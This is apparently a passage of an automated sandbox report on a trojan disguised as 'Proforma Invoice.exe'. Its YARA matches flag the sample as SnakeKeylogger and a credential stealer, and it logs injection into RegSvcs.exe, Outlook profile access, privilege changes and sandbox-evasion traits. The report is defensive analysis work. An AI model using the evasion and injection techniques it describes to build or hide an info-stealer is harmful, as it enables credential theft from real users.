Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569B760	1_2_0569B760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569B750	1_2_0569B750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_056977E6	1_2_056977E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569C658	1_2_0569C658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569E168	1_2_0569E168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569E158	1_2_0569E158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569C001	1_2_0569C001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05690006	1_2_05690006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569B308	1_2_0569B308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569B2F9	1_2_0569B2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569DD00	1_2_0569DD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569DD10	1_2_0569DD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05692CE1	1_2_05692CE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05696FF0	1_2_05696FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569AEA1	1_2_0569AEA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569AEB0	1_2_0569AEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05696868	1_2_05696868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569786E	1_2_0569786E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05696858	1_2_05696858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569D8A8	1_2_0569D8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569D8B8	1_2_0569D8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569BBA8	1_2_0569BBA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569BBB8	1_2_0569BBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569AA49	1_2_0569AA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569AA58	1_2_0569AA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569EA09	1_2_0569EA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569EA18	1_2_0569EA18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066A4340	1_2_066A4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066A5BC0	1_2_066A5BC0

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: String function: 006C8900 appears 42 times
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: String function: 006A7DE1 appears 36 times
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: String function: 006C0AE3 appears 70 times

Source: Proforma Invoice.exe, 00000000.00000003.1766369944.0000000003CB3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Proforma Invoice.exe
Source: Proforma Invoice.exe, 00000000.00000003.1766560373.0000000003E5D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Proforma Invoice.exe
Source: Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs Proforma Invoice.exe

Source: Proforma Invoice.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@3/3

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_0070A06A GetLastError,FormatMessageW,

0_2_0070A06A

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006F81CB AdjustTokenPrivileges,CloseHandle,		0_2_006F81CB
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006F87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_006F87E1

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_0070B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0070B333

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_0071EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0071EE0D

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_007183BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_007183BB

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_006A4E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Proforma Invoice.exe

File created: C:\Users\user\AppData\Local\Temp\autA10F.tmp

Jump to behavior

Source: Proforma Invoice.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003194000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.0000000003176000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.0000000003185000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Proforma Invoice.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\Proforma Invoice.exe "C:\Users\user\Desktop\Proforma Invoice.exe"
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Proforma Invoice.exe"
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Proforma Invoice.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Proforma Invoice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Proforma Invoice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Proforma Invoice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Proforma Invoice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Proforma Invoice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Proforma Invoice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Proforma Invoice.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: Proforma Invoice.exe, 00000000.00000003.1767012334.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, Proforma Invoice.exe, 00000000.00000003.1766560373.0000000003D30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Proforma Invoice.exe, 00000000.00000003.1767012334.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, Proforma Invoice.exe, 00000000.00000003.1766560373.0000000003D30000.00000004.00001000.00020000.00000000.sdmp

Source: Proforma Invoice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Proforma Invoice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Proforma Invoice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Proforma Invoice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Proforma Invoice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A4B37 LoadLibraryA,GetProcAddress,

0_2_006A4B37

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070848F push FFFFFF8Bh; iretd	0_2_00708491
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CE70F push edi; ret	0_2_006CE711
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CE828 push esi; ret	0_2_006CE82A
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C8945 push ecx; ret	0_2_006C8958
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CEA03 push esi; ret	0_2_006CEA05
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CEAEC push edi; ret	0_2_006CEAEE
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006ACBB2 push 00000000h; retf	0_2_006ACBB4
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006AB5E0 push 00000000h; ret	0_2_006AB5E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066A6CD1 push 18418B05h; ret	1_2_066A6CE3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066A7971 push 1C418B05h; ret	1_2_066A79C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066A79D0 push 0C418B05h; ret	1_2_066A7A63

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006A48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_006A48D7
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00725376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00725376

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006C3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006C3187

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Proforma Invoice.exe

API/Special instruction interceptor: Address: 1E53244

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Proforma Invoice.exe, 00000000.00000002.1769227511.0000000001198000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: PROCESSHACKER.EXERIVE)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599120	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598738	Jump to behavior
